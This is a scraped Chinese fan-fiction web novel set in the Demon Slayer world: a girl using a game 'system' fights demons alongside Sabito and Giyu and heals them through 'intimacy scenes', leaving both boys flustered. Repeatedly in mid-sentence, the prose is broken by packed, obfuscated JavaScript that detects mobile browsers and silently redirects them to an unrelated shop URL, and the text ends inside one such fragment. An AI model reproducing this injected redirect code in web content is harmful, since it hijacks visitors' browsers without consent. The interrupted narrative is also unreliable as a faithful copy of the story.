《【鬼灭】黄油系统助我成为世界最强》 1. 锖兔与红药 藤袭山上,血腥味顺着枯叶的味道蔓延开来,锖兔刚把重伤昏迷的义勇托付给其他的受试者,转头便向着那声凄厉惨叫传来的方向疾驰而去。 因为连续的作战,手中的日轮刀握起来甚至有几分沉重;虎口的伤处渗出细密的血珠,润湿了缠绕刀柄的布条;每一次呼吸都伴随着火烧般的刺痛,但锖兔仍然在崎岖的山林间飞掠,奋力尝试去救助他人。 必须得赶上! 只要这双手还能握住刀、只要这副身体还能动弹,就必须得挥刀。只要能够先一步斩断恶鬼的头颅,那么就能保护大家。 “水之呼吸·贰之型·水车!” 刀面在黑暗中划出一道圆润而凌厉的弧光,本来正在追逐猎物的鬼还未反应过来,头颅便已滚落在地。 被救下的少年跌坐在树根旁,他面上惊恐仍然未散去,似乎还没能回过神来。锖兔下意识露出一个安抚性的笑容,又后知后觉意识到自己现在正戴着面具,对方看不见自己的表情。 “多加注意!别死了!” 留下这句简短的叮嘱,他脚尖在树干上一点,身形再次拔高,向着更深邃的黑暗深处跃去。 前方忽然出现了一抹过于亮丽的色彩。 那是一位少女。在充斥着鬼与死亡的这座山上,她的神态就像是纯粹过来游玩的游客般轻松。听到动静,她转过身来,直直地望着他的头顶,似乎是在打量什么。 锖兔下意识地放慢了脚步,他的肌肉紧绷,已经准备好了随时应对突发状况。她是想要寻求帮助吗?还是附近有需要额外注意的东西? “你怎么可以一个人把鬼都杀掉,”她的声音清脆,不满的情绪很真切,“居然这样独享经验值,我都没有蹭上经验,升不了级的话后面会很危险的。” 她所说的这句话里有一半的词汇他都无法理解,但他听懂了那句“一个人把鬼都杀掉”的指责。 唔…是在怪自己抢了她的猎物吗?在生死攸关的最终选拔里,竟然还有人会计较这种事? 锖兔眨了眨眼,尽管有些迷茫,但他并没有反驳,也没有用大道理去说教她。 “啊、的确,”他挠了挠自己有些凌乱的头发,语气里带上了一贯的爽朗与包容,像是在哄闹别扭的妹妹,“抱歉,因为我的动作更快,所以鬼都被我杀掉了。” “……没有都杀掉。”她望着他,以一种笃定的语气回复他,“因为都杀掉的话系统肯定会提前给我结算,但是我现在还在这个副本里。” 锖兔张了张嘴,刚想告诉她藤袭山的规则是在山上存活七天,时间未到是不会结束的。可还没等他发出声音,林子的另一端却忽然爆发出令人毛骨悚然的、极为恐惧的惨叫声。 凄厉的尖叫声后紧接着传来的是大地沉重的震颤声。 “咚、咚、咚!” 就像是有什么庞然大物正在碾碎树木,向这边逼近。 “待在这里别动!” 抛下这句话,锖兔的身影迅速向前跃去。 即使是接连斩杀了近几十只鬼的锖兔,在目睹眼前之鬼的样貌时,也是一阵心惊。 肉山般的怪物由无数条粗壮而肿胀的手臂纠缠包裹而成。它臃肿得像是一个过度发酵的面团,光是看着那副体型,就能想象出它究竟吞噬了多少鲜活的生命。 手鬼的一只巨大的手掌已经握住了一名参选者,正像是预备捏碎一只虫子般缓缓用力。 根本来不及多想,锖兔的身影在空中划出一道复杂的轨迹,刀锋如潮汐般汹涌而至。 “水之呼吸·肆之型·击打潮!” 蓝色的刀光如乱舞的浪潮,瞬间斩断了握住参选者的手臂。 “快逃开!” 断肢横飞,污血如雨。救下了人,但刀式还没有结束!锖兔没有丝毫停歇,在空中借力扭转身形,直逼那被层层手臂保护在最深处的脖颈。 这就是最后了!只要斩断那里—— “铛!” 因为杀了太多的鬼,日轮刀有了缺口、偏偏在这个时候折断了——! 断掉的刀刃飞旋着插在一旁的树干上,锖兔的瞳孔剧烈收缩,表情已经带上了错愕。 下一秒,巨大的手掌合拢,将他死死攥在掌心! 肋骨发出了不堪重负的呻吟,肺部的空气与血液一同被强行挤出。手鬼隐藏在手臂缝隙间的眼睛死死盯着他,它发出了戏谑而憎恶的笑声,以满是恶意的声音开始叙说它与前水柱弟子们的孽缘…… 愤怒在胸腔里炸开,但随之而来的是深深的无力感。就像命运一般、他也会再次死在这个怪物手上吗,真是不甘心—— “那边的鬼。” 少女的声音突兀响起。那声音轻飘飘的,并不大,却十分有穿透力。手鬼的动作停滞了一瞬。它那只巨大的眼球骨碌碌转动着,下意识看向了声音的来源。 少女握着一把毫无装饰的日轮刀,并未摆出什么防御的架势,只是随意地缓步走来。她原本平静的面容上,缓缓浮现出了一个淡淡的笑容;伴随着这个笑容,在她的身上,某种蛊惑性、奇异的香味逐渐弥漫开来。 “哥…哥……” 手鬼忽然吐出了一个模糊不清的词汇。它看着她,眼神不自觉变得涣散,仿佛透过她看到了模糊不清的记忆里的一道虚影。 她没有纠正它的错乱,反而顺着它的话温柔地回应道:“这样啊,弟弟在这里等很久了吗?” 人类孩童一般的委屈突兀地浮现在了这只活了数十年的恶鬼脸上。它握住锖兔的手掌下意识地放松了力道,锖兔趁机大口喘息,惊愕地看着眼前这一幕。 “那个叫鳞泷的老头……把我抓过来……把我关在这里……好黑……好饿……”它语无伦次地倾诉着委屈,庞大的身躯不自觉地向她那边倾斜,一条手臂缓缓伸出,这并非是用来攻击,像是想要抓住什么依靠或牵起什么。 少女仍然保持着微笑,她将手轻轻地按在了手鬼巨大的手掌上;它因此停住动作,巨大的眼瞳注视着她。 “这样啊,那个人真过分,”她微微蹙眉,语气里充满了感同身受的同情,“一定很痛苦吧?没关系,我来帮弟弟解脱。” 随着她的触碰,那股蛊惑人心的香味似乎更加浓郁了;但与此同时,警报忽然在手鬼混沌的大脑中拉响了。 虚假的温情正在褪去,露出了冰冷的杀意。 “不、不对……哥哥是……谁?” 它猛地反应过来,面容瞬间扭曲成极度的惊恐与愤怒!但这句问话注定没有答案,因为少女已经挥刀上前—— “风之呼吸·壹之型·尘旋风·削斩!” 没有多余的动作,她的身体在瞬间化作一道旋风,刀刃带着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007652|194077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 撕裂空气的尖啸,直取手鬼的脖颈! 突如其来的攻击起到了奇效!手鬼惊慌失措,本能地调集所有的手臂去阻挡那致命的一击。 ——就是现在! 不需要言语的交流,战场的直觉让锖兔在同一时刻动了。他紧握着那半截断刀,强忍着骨折的剧痛,从手鬼现在防御最薄弱的后方一跃而起。 两人一前一后,刀光交错。 “噗嗤——” 利刃切入腐肉、斩断颈骨,巨大的头颅顺着力道向外飞出,手鬼充满着难以置信的眼睛在空中转动了最后一次,随后头颅便重重地砸在了地上。它庞大的身躯开始像烧焦的纸片般消散。 锖兔落地时踉跄了一下,无法控制地单膝跪倒在地。他捂着剧烈起伏的腹部,不由自主地呕出一口淤血。 鲜血染红地面,锖兔大口喘息着,眼前阵阵发黑。尽管如此,他仍然尽力抬起头,想要确认刚刚被手鬼正面袭击的少女的状态。 明明刚才在最后的战斗中她也应该被鬼的手臂攻击到了,但现在少女站在那里,除了衣角沾了一点灰尘,竟然是毫发无损。 “唔,这下应该是结束了。” 她一边收刀入鞘,一边以雀跃的语气开始自言自语:“一下子升了好多级呢,果然还是要有控制系的技能啊!有了硬控,我成为最强剑士也不是不可能的事吧!” 少女的声音逐渐降下来,她开始向他这边走近。那股香气并没有减淡,但此时已不再有蛊惑般的危险感。 锖兔的视线已经开始模糊,他想说谢谢、想要夸奖她、想问她的名字、想问刚才那个让鬼不再攻击的招式……但喉咙里全是血腥气,他一个字也说不出来。 她走到他面前蹲下,手中忽然出现了一个装着红色液体的小瓷瓶。 “给你红药回血。”她以了然的语气说道,“早说了嘛,不要一个人独享经验。” 见他没有动作,她后知后觉地“啊”了一声。 “啊,不能直接使用吗?我看看…‘mod效果第十二条,新增在亲密剧情中给可攻略同伴回血的效果’,哦哦原来是要触发亲密剧情啊……真奇怪,我们都同生共死一起作战了还不亲密吗…” 她嘟囔了两句,手指突然捧住了他的面颊。锖兔的心下意识一跳,她的手指摸索过他沾满血迹的嘴唇,稍稍一使力,他下意识为她张开嘴——更多的血涌了出来。 “咦、咦咦?!黄油里不是这样的吧!” 她显然也有点慌乱,少女快速抓起那个瓷瓶,并不熟练地将红色的液体倒入进他的喉咙中,他被迫仰起头,喉结随着吞咽的动作艰难滚动,一种直觉般的预感告诉锖兔——这可能是她的血。 那么,少女的血液混合着他自己的血液,蔓延过牙齿、溺过舌头,顺着咽喉而下,疼痛并没有减少,反而因为那似乎正在极速复原的身躯正在加倍涌现。在过量的疼痛中,她的手指仍然触碰着他、这几乎给予了他某种隐晦的安慰。 “呜……” 锖兔发出一声压抑的闷哼,双手下意识地抓住了她纤细的手腕。不是为了推开,而是为了寻找一个支点,以免自己在这过于剧烈的恢复过程中狼狈地倒下。 啊……她是温热的,是仍然存活着的、生命没有被像蜡烛一样吹灭的人类。 没有比这更让他欣喜的事情了。 2. 锖兔与暗恋 尽管又被对方救了、又被对方进行了医治,但确认他差不多没事了(用她的话说就是“你的血条已经恢复到很健康的地步了”),少女就快步离开了。 “等等——!” 他试图迈步去追,但由于透支了体力,即使伤口在愈合,双腿也还是像灌了铅一样沉重。 啊…连名字都没问到啊…… 虽然饱含遗憾,但接下来的事情实在是太过繁忙。队服发放、日轮刀锻造、领取鎹鸦……隐部队忙碌的身影穿梭在山道间,锖兔则拖着刚恢复一半的身体,第一时间冲向了收治伤员的营帐。 看到义勇虽然昏迷但呼吸平稳地躺在那里,他悬着的心才终于放下。紧接着,他又不死心地跑遍了整个藤袭山的临时据点,逢人便描述那个那位少女的相貌,得到的回答却是她早就离开了。 ……算了、之后总有一天能再见的吧。 接下来把义勇送回鳞泷师父那里休养的日子更是鸡飞狗跳。义勇醒来后整个人都被一种阴郁的黑气笼罩:“我这样的人根本没资格通过选拔……” 他低着头,声音因为羞愧而变得细小。劝说了好几回,眼见师弟仍然困在“没有资格”这件事里,甚至都无法再打起精神,锖兔实在是气得太阳穴突突直跳,忍无可忍地一拳揍了过去。 “你在说什么傻话!” 那一架实在是打得昏天黑地。在师傅的监督下,他们两个重伤初愈的人用木刀狠狠揍了对方一顿,最后双双大字型躺在地板上。 锖兔喘着粗气,侧过头狠狠瞪着脸上淤青还没消去的义勇:“如果不甘心,如果觉得自己没资格,那就去杀更多的鬼!活下来的人,就要背负起死去之人的份一起活下去,这才是我们该做的事!” 虽然事情有些波折,但多少还是解决了,他们都成为了正式的鬼杀队队员,分开去做正式的斩鬼任务。 接下来的某一次,锖兔和义勇一起领命对付一只狡猾且棘手的异形鬼。这只鬼不仅有着坚硬的皮肤,甚至还会用普通人类作为肉盾。 “义勇,左边!” “知道!” 为了保护被抓至身前的无辜人类,锖兔硬生生用后背挡下了来自鬼的一记重击;而义勇为了斩断鬼的颈脖,也不惜拼着两败俱伤的架势冲进了攻击圈。终于斩掉鬼的那一刻,他们也都受了很重的伤、几乎成了血人,水呼的师兄弟就那样一前一后地躺进了蝶屋。 锖兔躺在病床上,左腿被打上了厚厚的石膏高高吊起;就在他百无聊赖地盯着天花板数纹路时,走廊里传来了一个声音。 ——啊,是她! 她无论说话还是行动,都有着非常特殊的、不紧不慢的感觉,似乎发生什么事都不需要值得惊讶、只要接下来好好解决就可以了,十分有辨识度。 锖兔猛地坐起身,却忘了自己现在的残疾状态,差点连人带腿翻下床去。 “哎呀!锖兔先生,请不要乱动!”进来换药的蝶屋少女吓了一跳,连忙把他按回去。 “抱歉抱歉……”锖兔疼得呲牙咧嘴,却顾不上这些,急切地用还能动的右手比划着,“刚才……刚才过去的那位,是不是一个个子大概这么高的少女…她的眼睛是这个颜色…然后头发大概到这里……” 蝶屋少女眨了眨眼,随即露出了然的神色:“啊……你说的应该是侑小姐吧?” “侑……”锖兔在舌尖轻轻滚过这个名字,就像终于抓到了什么想要的东西。 “那是一位非常特殊的队员哦。据说她曾经差点就被转变为了鬼,在转变为鬼的中途出现了意外…因此她现在虽然仍然是人类,但却可以像鬼一样快速康复,甚至掌握了类似血鬼术的力量呢。” 锖兔立刻将她在藤袭山那时的表现和这个解释挂上了等号。 “原来是这样……”他喃喃自语,心中涌起一股复杂的敬佩与酸涩。 “不过呢,”蝶屋少女忽然促狭地笑了起来,“打听她的孩子非常多哦。只要是和她一起执行过任务的队员,无论男女,不管是明着问还是暗搓搓地旁敲侧击,基本上都在打听她的消息。侑小姐可是非常受欢迎的呢。” “啊、” 锖兔愣了一下,随后一股热气不受控制地从脖颈窜上脸颊。他后知后觉地感到了一阵慌乱,那种纯情的少年心思被戳破的窘迫让他难得手足无措。 “不、那个、我不是那个意思……只是之前在藤袭山受了她很大的恩惠,想、想当面道谢而已……”他结结巴巴地解释着。 蝶屋少女露出“我都懂,不用解释”的暧昧笑容,收拾好托盘哼着歌走了。只留下锖兔一个人用完好的右手捂住脸,发出长长的一声叹息。 一回头,他对上了一双深蓝色的、毫无波澜的眼睛。师弟义勇正严肃地盯着他。 “……” 难道连义勇都会八卦了吗?应该不可能吧……那可是义勇啊、是那个义勇啊! 果不其然,义勇关心的是:“那个时候就是她和你一起解决了手鬼吗?” 锖兔暗暗松了一口气:“对,她非常厉害,无论是术的使用时机,还是剑招的基础都无可挑剔。如果不是她,我大概 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007653|194077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已经没办法活着回来了吧。” 富冈义勇若有所思地点点头:“有机会的话,我会去请教的。” “请教……” 他简直是无法自控地回想起了那时候她捧住他的面颊、触碰了他的嘴唇的触感,热量无法控制地从面颊蔓延向耳垂,锖兔有些语无伦次地回复:“呃,那你千万别受伤……受伤了也别随便让她帮你疗伤…” “?” 富冈义勇困惑地望着他,歪了歪头。 “她这么强吗?我们还没有开始对战,你就觉得我会受伤。” “……” 锖兔用还能动的手掌摸摸鼻子,不好意思继续说下去了。 伤势刚刚好转到能勉强下地的程度,锖兔就再也躺不住了。他以“身为剑士如果不活动身体会生锈”这种蹩脚的理由,拄着拐杖一瘸一拐地溜出了病房,蹲守好几天,总算和侑碰上了一回。 “那个、最近如何?!” 居然地选择了这么老土的开场白——师傅说不定都不会这么用了…锖兔几乎是在话说出口的瞬间就有点懊悔。 侑还是先抬头看了看他的头顶,停留了半天,才像是终于从记忆的角落里翻出了对应的档案,露出了恍然大悟的表情。 “啊、你是那个时候喝了我一瓶红药的人。” “啊哈哈……确实是这样呢。”锖兔尴尬地挠了挠脸颊,那种被特殊记忆点标记的感觉让他既有些羞耻又隐隐有些高兴,“虽然因为这种理由被记住还是有些奇怪就是了……那个,你最近一直在杀鬼吗?” “对呀,”她说,“杀鬼,然后偶尔到蝶屋做做配合新药研发的任务。” 像是想起来了什么,她忽然走近了一些;锖兔下意识微微扇动鼻翼,但这一次并没有嗅到那股香味。他后知后觉地意识到自己这种像小狗一样闻味道的行为简直失礼到了极点,脸上一热,慌忙移开了视线,不敢再看她。 “唔,仔细看看果然你的等级很高…在我现阶段能招募的队员里,你的等级确实是最高的……锖兔。” 听到自己的名字从她口中念出来,锖兔的心跳无法控制地乱了几拍。 “你要不要和我组队当我的队友?” 他被这种忽然出现的幸福砸中了,但还是尽可能理智地回复她:“欸、呃、那个,任务中会不会匹配队友,需要看任务的难度吧?” 侑显得完全不在意这些规则:“如果我遇见特别难对付的敌人,我会向你求助;同理,如果你遇见了特别难对付的敌人,也必须得喊上我。这样就好了。” 3. 义勇与亲吻 锖兔坐在病床上,他的视线并没有落在手里那本已经被他翻卷了边的剑术指导书上,而是穿过半开的窗户,盯着庭院发呆。偶尔,锖兔会莫名地抿一下嘴角,露出一抹极力想掩饰的笑意,随后又迅速板起脸,重新翻过一页根本没看进去的书。 富冈义勇靠在邻床的枕头上,手里捧着一杯早已凉透的茶,目光在师兄那张变幻莫测的脸和空无一人的庭院之间来回巡视。 “……?” 锖兔这种状态已经持续了整整一个下午,让义勇感到十分费解。 “你是和侑搭话了吗?”他实在是困惑到忍不住发言询问。 “啊、是的。” 富冈义勇的表情变得越发严肃,水呼的师弟眉头紧锁。 “她强到仅仅是靠言语,就能把锖兔你打击到这个地步吗?”义勇极其认真地发问,脑海中已经开始构以此人为假想敌的特训计划。 锖兔眨了眨眼,“噗”地一声笑出了声,肩膀随着笑声耸动,那是只有少年人才有的、清朗而毫无阴霾的笑声。 他干脆地伸出了手,毫不客气地将手掌盖在义勇的黑发上,用力揉搓了一把,直到把那原本就不怎么整齐的低马尾揉得像是猫咪把毛发炸开了,他才收回手。 “啊哈哈……义勇,”锖兔看着师弟顶着一头乱发依旧一脸茫然的样子,笑意在眼底漾开,“嘛,对于义勇来说,说不定要很长时间才能理解吧!” 义勇点了点头,并没有追问。他不明白锖兔话里的深意,但他已经把侑默默地列入了心底的强者名单里。 在富冈义勇单纯的逻辑里,能让强大如锖兔都这般心神不宁、甚至丧失了平日里那种果决判断力的存在,一定拥有着某种深不可测的强大力量。 “如果能早日康复,和她交手一把就好了。” 义勇如是想道。 尽管藤袭山一行让他受挫不少,但只要锖兔还活着,只要他们还能并肩作战,他就觉得前路没有什么迷惘,只要不断变强就好了。变强的急切并没有让他失去理智,富冈义勇严格遵照医嘱,认真地吃饭、睡觉、做复健训练。 然后,就在伤养好后的下一次任务中,他出乎意料地和他认为“实力深不可测”的侑遇上了。 当时他接到了紧急支援任务,任务中强调有一处村子中出现了吃了30人以上的鬼,附近的队员都必须得立刻赶去支援。 赶到现场时,他并没有看见侑的身影,而是先听到了她的声音。 “是哟、是哟,过来我这里。” 他认得侑的声音,但他记忆中她的语调是淡定、慵懒甚至有些漫不经心的;而现在她的声音变得十分奇特,像是小时候姐姐偷偷塞给他的一颗软糖,咬开脆弱的糖衣后,里面那种黏稠、甜腻的糖浆瞬间包裹了牙齿,怎样都化不开,只能用舌头一点点舔舐,尝试消解那份过分浓郁的甜蜜。 义勇握刀的手指下意识地收紧,视线几乎是不受控制地被那个声音牵引而去。 侑正从战场的另一侧缓步走出,穿着着一件显然有些过长的、似乎是丝绸材质的羽织,比起羽织,那看起来更像是一件华贵的和服外套。 宽大的袖摆随着她的步伐轻轻晃动,她一边用那种甜腻得令人头皮发麻的语调呼唤着那只体型庞大的恶鬼,一边轻盈地迈开脚步。 月光洒下来,照亮了她的侧脸。 她那张原本平静、甚至显得有些冷淡的面容上,此刻忽然绽放了一个笑容。那不是义勇曾经见过的、为了鼓舞士气或是掩饰害怕的笑,而是纯粹的、带着某种捕猎者特有的愉悦与引诱的笑容。 她那因为笑容而微微眯起的眼眸、抿起的嘴唇的弧度、伸出的纤细的手指……她的一切都是那么绮丽、鲜明,让人无法移开目光。 无法用“美”这样的词汇来形容她,那更像是极具侵略性的“迷人”。 原本踩在鬼杀队队员尸体上正在进食的鬼,此刻竟然因为她的呼唤声停下了动作。它那双浑浊的眼球死死盯着她,喉咙里发出某种含混不清的咕噜声。 食欲与某种更为原始、更为扭曲的欲望在它那简单的脑子里疯狂搅动——是想把她撕碎吞吃入腹,还是想把她作为某种珍宝占为己有?它那混沌的大脑中无法分清想法,身体却已经像被食虫草的花粉引诱的飞虫那般向她那边靠近。 侑对鬼伸出一只手,掌心向上,仿佛正在招呼它过来;而她的另一只手,却已经平稳地握住了腰间日轮刀的刀柄。 一股奇异的香气随着夜风四溢开来,使得原本只有血腥味的战场仿佛进入了另一个空间。 眼前的一切完全超出了富冈义勇对战斗的所有认知,让他一时之间找不准切入的时机,但他仍然进入了备战的状态。义勇的重心已经压低、双腿肌肉紧绷,他的手指扣在刀柄上,随时准备发动水之呼吸·叁之型·流流舞。 鬼已经来到了侑的面前,她像是恶作剧得逞的孩子般可爱地眨了眨眼。 “好孩子。” 她轻柔地夸奖它,手掌轻轻压在鬼异型的手背上,借力一按、身体迅速向前逼近;右手的日轮刀在这个瞬间没有任何征兆地出鞘,刀光如同飓风! “贰之型·爪爪·科户风。” 鬼因为剧痛而从幻梦般的魅惑中惊醒,发出震耳欲聋的咒骂之语,挥动利爪试图反扑。 “水之呼吸·叁之型·流流舞!” 水流与风刃般的刀轨在空中交错,两把日轮刀几乎同时切入了鬼坚硬的脖颈。头颅飞起的瞬间,鬼那只巨大的利爪还是凭借着惯性挥了下来,就像是要将侑也带去地狱。 义勇没有挥出原本用来收尾的斩击。他在半空中强行扭转了身形,右手放弃了持刀的攻击姿态,转而一把揽住了侑的腰肢,利用流流舞的尾式,带着她向后滑去。 利爪擦着义勇的队服划过,发出布帛撕裂的脆响。 ——结束了。 本该爆发恶战的讨伐,但却结束得如此令人猝不及防…不得不承认,侑的术在控制与诱导方面强得可怕。 义勇站在原地,呼吸稍微有些急促。他在脑海中快速复盘着刚才的战斗,直到脸颊上传来一点柔软的触感才回过神来。 他迟钝地低下头,这才意识到自己还维持着揽着侑的姿势。那股奇异的香气并没有随着战斗结束而散去,反而因为两人的距离被迫拉近,而变得更加浓郁、更有侵略性。 他和怀里的侑四目相对。她已经恢复了那副平静的表情,此刻正用眼神表达着“还不放我下来吗?”的意思。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007654|194077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >义勇的心跳没来由地漏了一拍,紧接着便是一阵毫无章法的狂乱跳动。他像是被烫到了般猛地松开手,有些手忙脚乱地将她安放在地上。接下来,他后退半步,死死地把惊慌失措压在自己看不出表情的面容下,只有微微放大的瞳孔证明他直到现在都还没冷静下来。 “幸好NPC不会分掉我的经验呢,不然后面就算是抢走击杀了。”侑理了理有些凌乱的羽织下摆,嘴里说着他完全听不懂的话。 没等义勇想明白这句话的含义,她已经再次把视线投了过来,直直地盯着他的头顶。 “你是……啊,富冈义勇。唔唔,等级也不错呢。” 义勇局促地站在那里,握刀的手紧了又松,完全不知道现在要做什么。 忽然,侑伸出一根手指,隔空点向他的侧腰。 “那里受伤了哦,你一直在掉血。” “啊。” 义勇低头看去,队服的侧腰位置果然被划开了一道长长的口子,鲜血正慢慢从伤口处渗出,染红了队服的布料。他发出一声短促的音节,既像是回应,又像是对自己迟钝痛觉的惊讶。 “虽然我升级之后会自动回血,为了我挡招其实有点没必要。不过NPC总是保护我,这也是我喜欢人类阵营的原因呢……”侑自言自语着,忽然向前迈了一步。 “那么,就让我给义勇治疗一下吧。” 治疗? 义勇的大脑努力处理着她的话。 治疗是指帮我包扎吗?之前锖兔好像说过不要随便接受她的治疗……不过包扎的话,我自己也可以来,有师傅特制的药粉这种伤口很快就能处理好了-了-了…… 思维凝固了。 就连那句“不用了”都没说出口。因为温热的、柔软的触感已经轻轻落在了他的侧脸上——那是女性嘴唇的触感。 “唔!!” 仿佛被雷劈中,义勇整个人瞬间僵硬在原地,连呼吸法都忘了运转。他的眼睛十分难得的、由于失态而瞪大,眼眸中写满了根本掩盖不住的震惊与慌乱,活像一只受了惊吓却又不知道该往哪里逃的猫。 富冈义勇的大脑一片空白,脑海里慢慢地浮现了一个字。 “啊?” 但侑没有任何忸怩的神色,仿佛给予一个吻就和给队友包扎是一样的事。面对已经石化的富冈义勇,侑显得非常淡然且熟练。她从腰边的挎包掏出装着红色液体的瓷瓶,拔开塞子递到他嘴边。 “嗯,已经进入亲密剧情了哦,快点把红药吃下去吧。” 亲、亲、亲密…… 由于已经死机,富冈义勇完全是依靠身体的本能顺从了她的引导,他机械地张开嘴,任由那股带着甜味的液体滑入喉咙。 伤口处果不其然传来一阵酥麻的痒意,血肉在迅速愈合,他后知后觉才发现自己的脸实在红得可怕,简直就像是在发烧。 是…是治疗的副作用吗?这个也是她的术吧……锖兔那时候、也是体验了这个吗…? 第一次见面就可以省略姓氏直接称呼名字吗? 第一次见面就可以……亲吻吗? 亲吻完,什么不用说,就直接走人了…这样也是正常的吗……? 富冈义勇迫切想要向师兄锖兔求助。 4. 水呼与恋爱相谈会 鳞泷左近次教导过弟子们如何分辨风中鬼的气味、如何精准地使用水之呼吸、如何从陷阱的围攻中逃脱……然而,这位严师显然遗漏了重要的一课:那就是当一名女性毫无预兆地逼近、忽然做出亲密的举动,到底该怎么应对才好。 ——水之呼吸里没有哪一型是用来应对这种情况的吧! 富冈义勇维持着雕塑般的标准正坐姿势,双手规矩地平放在膝头,背脊挺得笔直。他的视线死死钉在道场地板的一处木纹上,仿佛要在那里烧出一个洞来。 坐在他对面的锖兔则有些困惑地歪了歪头,肉色的头发随着动作晃动了一下。他敏锐地察觉到师弟周身散发出的并非杀气,而是一种混合了僵硬、羞耻以及某种视死如归的沉重气息。 “呃,义勇,怎么了吗?” 锖兔率先打破了这令人窒息的沉默。 “......” 义勇没有立刻回答。他深蓝色的眼眸里没有焦距,只有搭在黑色队服裤上的手指猛地收紧了,似乎是他在极力克制某种想要夺路而逃的冲动。 锖兔的神情迅速严肃起来。他太了解义勇了,这个平时半天憋不出一句话的师弟露出这种表情,通常意味着事态极其严重。 难道义勇他发现了某种危及鬼杀队存亡的秘密!?或者鬼杀队内其实有潜伏的鬼的间谍!? “义勇,”锖兔挺直了腰杆,声音沉稳有力,拿出了身为师兄的可靠姿态,“到底发生了什么?你特意把我喊过来,摆出这副阵仗,一定是想要倾诉吧。无论是什么事,说出来吧!师傅和我会与你一起面对。” “......” 富冈义勇终于动了。他极其缓慢地低下了头,黑发垂落,遮住了他大半张脸,只露出一截紧绷的下颌线。 “……锖兔,你…你和侑第一次见面的时候……”义勇停顿了一下,似乎在艰难地组织措辞,“她对你,做了什么吗?” 好歹是在一起修行了那么久的师兄弟,作为全鬼杀队最能听懂富冈义勇说话的师兄,富冈义勇一开口,锖兔就已经像被闪电劈中一样心领神会。 原本端坐的锖兔身体不由自主地前倾了,沉稳的语调也瞬间破功:“她…她对你做了什么吗?” 两双同样修习水之呼吸的眼睛在空中交汇,水呼的师兄弟从彼此眼中读出了同一种遭遇——被女性忽然打破了安全距离、手足无措却又无法拔刀相向的、慌张又暧昧的遭遇。 既然话题已经挑开,退路已被封死。富冈义勇深吸了一口气,严肃得不亚于准备开始全集中呼吸。他闭了闭眼,仿佛是在黑暗中寻找某种勇气。 “她……亲了我。” 锖兔那张总是带着笑容的脸上第一次出现了近乎空白的表情,他的头顶仿佛具象化地冒出了一个巨大的感叹号,声音都不由自主地拔高了。 “啊?!真的!?” 义勇猛地抬起头,那双平日里波澜不惊的眼睛中此刻写满了控诉与不满:为什么要怀疑我的话?这种事情,难道我会拿来开玩笑吗? “不、那个……抱歉抱歉。”锖兔被那眼神看得心虚,慌乱地抬手抓了抓后脑勺,把本来就有点炸起来的头发抓得乱翘,“我只是没想到、呃、有点太突然了…那个,她是为了治疗你吧?亲了你之后,是不是就给你治疗了?” 是的,那是治疗。那确实是治疗。 富冈义勇结合侑之前的所作所为,反复在心里咀嚼着这个理由,试图用治疗这个严肃的理由去覆盖掉记忆里那份柔软和温热的触感。 但当这个理由被确认时,心头涌上的究竟是如释重负的庆幸,还是某种难以名状的、淡淡的失落,他自己也很难辨认清楚。 “那个时候我也是……”锖兔的声音低了下去,为了掩饰脸颊上正在升高的热度,他的视线开始在屋内毫无目的地游移,“身受重伤、动弹不得的时候,被她捧住了脸…还用手指抚过了嘴唇……” 说到这里,锖兔不自然地咳嗽了一声,声音越来越小:“接下来就被喂了她的血……就是装在那个瓷瓶里的红色液体。义勇,你应该也是同样的流程吧?” 富冈义勇抿着嘴,幅度极小地点了点头。 “啊,那样的话就解释得通了。”锖兔的语速稍微恢复了正常,“那个肯定就是她的术发动的某种条件。也就是必须得有肢体方面的亲密接触,建立某种连接,接下来才能让血发挥治愈的作用吧。” 水呼的师弟用犀利的眼神表示了质疑:怎么可能会有这种术。 “就算这么看我…我们也不了解鬼的术吧?如果侑是鬼,可能不需要肢体接触也能完成这一项?但正因为她是转化失败的人类,才多出这样苛刻的条件,这应该也很合理吧?” 好比有些强大的招式需要特定的呼吸法配合一样吗?……似乎也是合理的。这也是战斗的一环吧? 富冈义勇抿紧了薄唇,进行了一点有效信息都没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007655|194077||http|test|mini|href|location''.split(''|''),0,{})); () { 